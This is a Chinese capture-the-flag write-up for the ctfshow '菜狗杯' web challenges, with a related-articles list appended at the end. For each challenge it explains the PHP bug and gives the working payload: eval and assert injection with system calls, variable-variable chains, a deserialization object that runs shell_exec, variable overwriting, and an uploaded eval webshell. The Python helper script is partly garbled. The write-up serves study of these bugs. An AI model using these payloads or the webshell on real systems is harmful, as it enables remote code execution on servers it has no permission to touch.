目录

web签到

一言既出

驷马难追

web2 c0me_t0_s1gn

我的眼里只有$

TAPTAPTAP

Webshell

化零为整

无一幸免

遍地飘零

传说之下(雾)

Is_Not_Obfuscate


web签到

<?phperror_reporting(0);
highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");

post: a=b

cookie:CTFshow-QQ%E7%BE%A4:a   

把群进行url编码就可以

这样的话cookie传入 =a ,然后破石头  a=b  ,get  b=c,request可以接收post和get请求,最后c因为用数组传参所以要带上后面的东西

一言既出

<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
}

看到一些危险的执行函数就要注意,就会执行后面的东西,

intval(114514);//)   输入114514);//

就会执行里面的内容然后注释掉了后面的全部内容,输出flag

驷马难追

<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){if ($_GET['num'] == 114514 && check($_GET['num'])){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;}
} function check($str){return !preg_match("/[a-z]|\;|\(|\)/",$str);
}

和上一个没太大的区别,就增加了一层过滤,然后注释掉了括号

这个采用?num=114514%2b1805296的方法

%2b是加号的意思,

web2 c0me_t0_s1gn

跟着提示,控制台运行就会得出

我的眼里只有$

<?php
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

假如_=a $_=a ,如果这时候传入a=b $$a=b, $有点多用脚本把

一共有36个$和一共_,需要在_的基础上加上36层

import stringa='_=a&'
code="system('ls /');"
for i in range(35):a+=s[i]+"="+s[i+1]+"&"
a+=s[i]+"="+code
print(a)

i一开始从0开始  34结束所以最后结尾会加上一个35,s=string.ascii_letters是字母从下标0开始

TAPTAPTAP

翻到源码,直接base64解密,

访问获得flag

Webshell

<?php error_reporting(0);class Webshell {public $cmd = 'echo "Hello World!"';public function __construct() {$this->init();}public function init() {if (!preg_match('/flag/i', $this->cmd)) {$this->exec($this->cmd);}}public function exec($cmd) {$result = shell_exec($cmd);echo $result;}}if(isset($_GET['cmd'])) {$serializecmd = $_GET['cmd'];$unserializecmd = unserialize($serializecmd);$unserializecmd->init();}else {highlight_file(__FILE__);}?>

直接给cmd赋值就可以了,然后shell_exec执行,输出只不过输出是在源代码中输出的

<?php
class Webshell {public $cmd = "cat f*";
}
$W=new Webshell();
echo serialize($W);

获得flag

化零为整

<?phphighlight_file(__FILE__);
include "flag.php";$result='';for ($i=1;$i<=count($_GET);$i++){if (strlen($_GET[$i])>1){die("你太长了!!");}else{$result=$result.$_GET[$i];}
}if ($result ==="大牛"){echo $flag;
}

count($_GET)

首先这里就是统计get传参的个数比如,?a=1   值为1   a=1&b=2   就为2了

strlen($_GET[$i])>1

首先strlen是统计字节的个数,%4e这样的形式只占用一个字节,是统计 a=%4e统计等号的右边

所以这道题考虑用汉字的url编码绕过,一个汉字有3位url编码,然后用1-6

?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

无一幸免

<?php
include "flag.php";
highlight_file(__FILE__);if (isset($_GET['0'])){$arr[$_GET['0']]=1;if ($arr[]=1){die($flag);}else{die("nonono!");}
}

这道题其实,看if($arr[]=1)这个等于号,是一个所以这是一个赋值的操作,肯定为true会进行die的操作,所以0=1随便赋值

遍地飘零

<?php
include "flag.php";
highlight_file(__FILE__);$zeros="000000000000000000000000000000";foreach($_GET as $key => $value){$$key=$$value;
}if ($flag=="000000000000000000000000000000"){echo "好多零";
}else{echo "没有零,仔细看看输入有什么问题吧";var_dump($_GET);
}

变量覆盖的题目payload:?_GET=flag

传说之下(雾)

打开之后是一个小游戏,一般这样都考察js前端

然后往上面翻找到了这个

this当前的为Game类,

直接在控制太输出Game.score=3000 改变类中的属性,获得flag

Is_Not_Obfuscate

打开界面查看源码

首先看到,decode,这是解密的说明会有一段加密的东西

如果action=test会执行,然后看下面有个robots.txt,访问

flag=0没东西,flag=1发现有一段加密后的源码

eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT

然后input=加密传参,action=test,但是这里一直没成功,弄了好久才发现+被过滤掉了,需要一层的url 编码

Anything is good?Please test it. <?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {echo 'Anything is good?Please test it.';@eval(decode($_GET['input']));
}ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){switch ($_GET['action']){case 'pull':$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));echo "pull success";break;case 'push':$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));echo "push success";break;default:die('hacker!');}
}

获得了源码界面,从源码可以看出push 用于上传,一句话木马但是经过了链接youyou进行了加密

pull 用于接受一句话木马,只需要获得上传木马这个文件名就可以利用

<?php eval($_POST['shell']);?>   上传

预览输入这个32位小写

但是经过了实验,发现只有传参get才可以利用shell=system('ls /');,post不行

很奇特的点,学到了很多,题后续还会一直补充

ctfshow(菜狗杯)相关推荐

  1. CTFshow菜狗杯-misc-wp(详解 脚本 过程 全)

    首先感谢ctf平台和各位出题的大佬 其次感谢各位读者,对我的支持( •̀ ω •́ )y 有什么问题和建议可以私聊我 废话不多话开启你们的旅程吧 这个也是我这几天才看 一些见解和思路分享给你们 希望你 ...

  2. CTFSHOW 菜狗杯--WEB

    WEB签到 eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]); 简单的解释下这个嵌 ...

  3. ctfshow菜狗杯webwp

    web签到 <?php error_reporting(0); highlight_file(__FILE__);eval($_REQUEST[$_GET[$_POST[$_COOKIE['CT ...

  4. ctfshow 菜狗杯 杂项签到MISC1

    题目链接:​​​​​​ctf.show 下载打开发现是一张图片 扔进HEX Workshop看看

  5. ctfshow 菜狗杯 taptap wp

    启动环境 小游戏 看源码 查找关键字score 解码得 访问该路径,拿到flag

  6. CTFSHOW菜狗杯 web

    文章目录 web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 传说之下(雾) 算力超群 算力升级 2 ...

  7. ctfshow菜狗杯 web 我的眼里只有$

    萌新入坑,防懒细胞滋生 题目有36个$,给出的最后一个$_可以看做变量0 生成从变量1到变量35,最后赋给变量35的值为真正想执行的命令. my_str = '_' for i in range(26 ...

  8. ctfshow【菜狗杯】misc

    文章目录 web web签到 web2 c0me_t0_s1gn 我的眼里只有$ 抽老婆 一言既出 驷马难追 TapTapTap Webshell 化零为整 无一幸免 无一幸免_FIXED 传说之下( ...

  9. ctf菜狗杯OSINT wp

    菜狗杯OSINTwp Fish And Turtles 由B-6448和8月27日可以查到由早上赶飞机可以得知flag ctfshow{成都-厦门-3U6953} 碧海蓝天 把他放到搜狗识图![可以得 ...

  10. ctfshow菜鸡杯 部分wp

    参加了ctfshow组织的菜鸡杯,自我感觉还是比较不错的,让自己学习了好多新东西.还有感谢师傅们的耐心解答.真的真的感谢. 1. misc3 这道题考察的是jsfuck编码(参考),直接将编码放入浏览 ...

最新文章

  1. Java配置环境变量及其意义
  2. CPLD/FPGA的UART接口设计之系统时钟(晶振)和波特率关系
  3. 欧拉回路【洛谷习题】无序字母对
  4. Flink 完美搭档:数据存储层上的 Pravega
  5. java 应用程序 gui_Java GUI应用程序关闭陷阱
  6. java中1和1.0_在Java中如何以0.1f增量在0.1f和1.0f之间进行迭代?
  7. 删除vs的调试其他软件的功能
  8. 如何使用Docker部署Go Web应用
  9. 主机mysql密码修改_mysql密码修改方法_配置root密码_mysql 改数据库名_mysql忘记密码...
  10. 1 操作系统安全加固
  11. ckdeitor的使用方法
  12. LNMP自动部署脚本
  13. 用Java山寨一款Flash游戏
  14. cmd 根据计算机名查ip地址_教你怎么查看本机IP地址
  15. 卸载cad专用软件工具箱 一键安装卸载,安全可靠
  16. linux yasm编译,linux安装yasm报错
  17. 怎么给计算机D盘分区,C盘分区太大怎么调整分区的大小?
  18. antd 表单的校验方式
  19. easyui datagrid mysql分页_Easyui 自定义分页_EasyUI 教程
  20. 为什么单片机定时器的TH和TL都要设置?

热门文章

  1. java.io.IOException: Cannot create directory /home/app/hadoop-2.4.1/data/dfs/name/current
  2. 【链环科技】微信公众号商城开发优势
  3. IText构造PDF文件
  4. 汇编实验二——选出非负数以及排序
  5. 学习周记 CSS合集
  6. [GZOI2019GXOI2019]省选AFO记
  7. 做一个心无杂念的平凡人
  8. Android文字转语音引擎(TTS)简单比较及下载
  9. 复制粘贴之后出现问号怎么办_CAD图形文字复制粘贴以后出现变化该怎么办?
  10. Gaussian .fchk .chk 文件转化错误解决方法